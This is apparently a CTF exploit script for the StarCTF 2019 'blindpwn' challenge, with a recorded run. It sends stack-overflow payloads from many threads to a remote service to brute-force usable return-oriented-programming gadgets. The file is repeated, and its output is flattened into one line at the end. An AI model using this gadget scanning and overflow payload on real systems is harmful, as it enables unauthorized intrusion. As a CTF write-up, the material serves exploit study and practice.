<filename>Gathered CTF writeups/ptr-yudai-writeups/2019/StarCTF_2019/blindpwn/test02.py
import threading
from ptrlib import *
import time

log.level = ['warning', 'error']

got_addr = 0x601018
plt_addr = 0x400430

addr_main = 0x400776
base = 0x401600

def worker(offset):
    if (base + offset) % 0x100 == 0:
        dump("trying: " + hex(base + offset), "warning")
    payload = b'A' * 40
    payload += p64(base + offset)
    payload += p64(addr_main) * 8
    sock = Socket("172.16.31.10", 10000)
    sock.recvuntil("pwn!\n")
    sock.send(payload)
    l = sock.recv(timeout=1.0)
    if l is not None:
        dump("Safe gadget at {}: {}".format(hex(base + offset), l), "warning")
    sock.close()
    return

for offset in range(0x4000):
    th = threading.Thread(target=worker, name="th", args=(offset, ))
    th.setDaemon(True)
    th.start()
    time.sleep(0.1)

# Leaked:
# 0x400776: main

"""
$ python test02.py 
[WARN] trying: 0x400500
[WARN] Safe gadget at 0x400515: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x15\x05@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008%m\xeb\x9f\xcb\xa5\x9cp\x05@\x00\x00\x00\x00\x00\xf0\xb2\xa56\xfe\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008%m\x81T\xa6Yc8%\xfd\xaa\xaa\xd0\x03b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xb3\xa56\xfe\x7f\x00\x00h\xb17\x0eS\x7f\x00\x00\xdbG\x16\x0eS\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x05@\x00\x00\x00\x00\x00\xf0\xb2\xa56\xfe\x7f\x00\x00'
[WARN] Safe gadget at 0x40051f: b'AAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00h\xc1\xe8\xfb8\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\xa0\x10\x1d\xf4/\xac\xe7p\x05@\x00\x00\x00\x00\x00\x90\xfa\x90\x9a\xfe\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\xa0\xd0\xe0U\x1aQ\x18\x16\xa0\x80|c\xd8\xdd\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa8\xfa\x90\x9a\xfe\x7f\x00\x00h\xc1\xe8\xfb8\x7f\x00\x00\xdbW\xc7\xfb8\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x05@\x00\x00\x00\x00\x00\x90\xfa\x90\x9a\xfe\x7f\x00\x00'
[WARN] trying: 0x400600
[WARN] Safe gadget at 0x40057d: b'Welcome to this blind pwn!\n'
[WARN] Safe gadget at 0x400573: b'Welcome to this blind pwn!\n'
[WARN] Safe gadget at 0x40057e: b'Welcome to this blind pwn!\n'
[WARN] Safe gadget at 0x400586: b'Welcome to this blind pwn!\n'
[WARN] Safe gadget at 0x400580: b'Welcome to this blind pwn!\n'
[WARN] trying: 0x400700
[WARN] trying: 0x400800
[WARN] trying: 0x400900
[WARN] trying: 0x400a00
[WARN] trying: 0x400b00
[WARN] trying: 0x400c00
[WARN] trying: 0x400d00
[WARN] trying: 0x400e00
[WARN] trying: 0x400f00
[WARN] trying: 0x401000
[WARN] trying: 0x401100
[WARN] trying: 0x401200
[WARN] trying: 0x401300
[WARN] trying: 0x401400
[WARN] trying: 0x401500
[WARN] trying: 0x401600
"""

<filename>Gathered CTF writeups/ptr-yudai-writeups/2019/StarCTF_2019/blindpwn/test02.py
import threading
from ptrlib import *
import time

log.level = ['warning', 'error']

got_addr = 0x601018
plt_addr = 0x400430

addr_main = 0x400776
base = 0x401600

def worker(offset):
    if (base + offset) % 0x100 == 0:
        dump("trying: " + hex(base + offset), "warning")
    payload = b'A' * 40
    payload += p64(base + offset)
    payload += p64(addr_main) * 8
    sock = Socket("172.16.31.10", 10000)
    sock.recvuntil("pwn!\n")
    sock.send(payload)
    l = sock.recv(timeout=1.0)
    if l is not None:
        dump("Safe gadget at {}: {}".format(hex(base + offset), l), "warning")
    sock.close()
    return

for offset in range(0x4000):
    th = threading.Thread(target=worker, name="th", args=(offset, ))
    th.setDaemon(True)
    th.start()
    time.sleep(0.1)

# Leaked:
# 0x400776: main

"""
$ python test02.py 
[WARN] trying: 0x400500
[WARN] Safe gadget at 0x400515: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x15\x05@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008%m\xeb\x9f\xcb\xa5\x9cp\x05@\x00\x00\x00\x00\x00\xf0\xb2\xa56\xfe\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008%m\x81T\xa6Yc8%\xfd\xaa\xaa\xd0\x03b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xb3\xa56\xfe\x7f\x00\x00h\xb17\x0eS\x7f\x00\x00\xdbG\x16\x0eS\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x05@\x00\x00\x00\x00\x00\xf0\xb2\xa56\xfe\x7f\x00\x00'
[WARN] Safe gadget at 0x40051f: b'AAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00h\xc1\xe8\xfb8\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\xa0\x10\x1d\xf4/\xac\xe7p\x05@\x00\x00\x00\x00\x00\x90\xfa\x90\x9a\xfe\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\xa0\xd0\xe0U\x1aQ\x18\x16\xa0\x80|c\xd8\xdd\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa8\xfa\x90\x9a\xfe\x7f\x00\x00h\xc1\xe8\xfb8\x7f\x00\x00\xdbW\xc7\xfb8\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x05@\x00\x00\x00\x00\x00\x90\xfa\x90\x9a\xfe\x7f\x00\x00'
[WARN] trying: 0x400600
[WARN] Safe gadget at 0x40057d: b'Welcome to this blind pwn!\n'
[WARN] Safe gadget at 0x400573: b'Welcome to this blind pwn!\n'
[WARN] Safe gadget at 0x40057e: b'Welcome to this blind pwn!\n'
[WARN] Safe gadget at 0x400586: b'Welcome to this blind pwn!\n'
[WARN] Safe gadget at 0x400580: b'Welcome to this blind pwn!\n'
[WARN] trying: 0x400700
[WARN] trying: 0x400800
[WARN] trying: 0x400900
[WARN] trying: 0x400a00
[WARN] trying: 0x400b00
[WARN] trying: 0x400c00
[WARN] trying: 0x400d00
[WARN] trying: 0x400e00
[WARN] trying: 0x400f00
[WARN] trying: 0x401000
[WARN] trying: 0x401100
[WARN] trying: 0x401200
[WARN] trying: 0x401300
[WARN] trying: 0x401400
[WARN] trying: 0x401500
[WARN] trying: 0x401600
"""

# Leaked: # 0x400776: main $ python test02.py  [WARN] trying: 0x400500 [WARN] Safe gadget at 0x400515: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x15\x05@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008%m\xeb\x9f\xcb\xa5\x9cp\x05@\x00\x00\x00\x00\x00\xf0\xb2\xa56\xfe\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008%m\x81T\xa6Yc8%\xfd\xaa\xaa\xd0\x03b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xb3\xa56\xfe\x7f\x00\x00h\xb17\x0eS\x7f\x00\x00\xdbG\x16\x0eS\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x05@\x00\x00\x00\x00\x00\xf0\xb2\xa56\xfe\x7f\x00\x00' [WARN] Safe gadget at 0x40051f: b'AAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00h\xc1\xe8\xfb8\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00v\x07@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\xa0\x10\x1d\xf4/\xac\xe7p\x05@\x00\x00\x00\x00\x00\x90\xfa\x90\x9a\xfe\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\xa0\xd0\xe0U\x1aQ\x18\x16\xa0\x80|c\xd8\xdd\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa8\xfa\x90\x9a\xfe\x7f\x00\x00h\xc1\xe8\xfb8\x7f\x00\x00\xdbW\xc7\xfb8\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x05@\x00\x00\x00\x00\x00\x90\xfa\x90\x9a\xfe\x7f\x00\x00' [WARN] trying: 0x400600 [WARN] Safe gadget at 0x40057d: b'Welcome to this blind pwn!\n' [WARN] Safe gadget at 0x400573: b'Welcome to this blind pwn!\n' [WARN] Safe gadget at 0x40057e: b'Welcome to this blind pwn!\n' [WARN] Safe gadget at 0x400586: b'Welcome to this blind pwn!\n' [WARN] Safe gadget at 0x400580: b'Welcome to this blind pwn!\n' [WARN] trying: 0x400700 [WARN] trying: 0x400800 [WARN] trying: 0x400900 [WARN] trying: 0x400a00 [WARN] trying: 0x400b00 [WARN] trying: 0x400c00 [WARN] trying: 0x400d00 [WARN] trying: 0x400e00 [WARN] trying: 0x400f00 [WARN] trying: 0x401000 [WARN] trying: 0x401100 [WARN] trying: 0x401200 [WARN] trying: 0x401300 [WARN] trying: 0x401400 [WARN] trying: 0x401500 [WARN] trying: 0x401600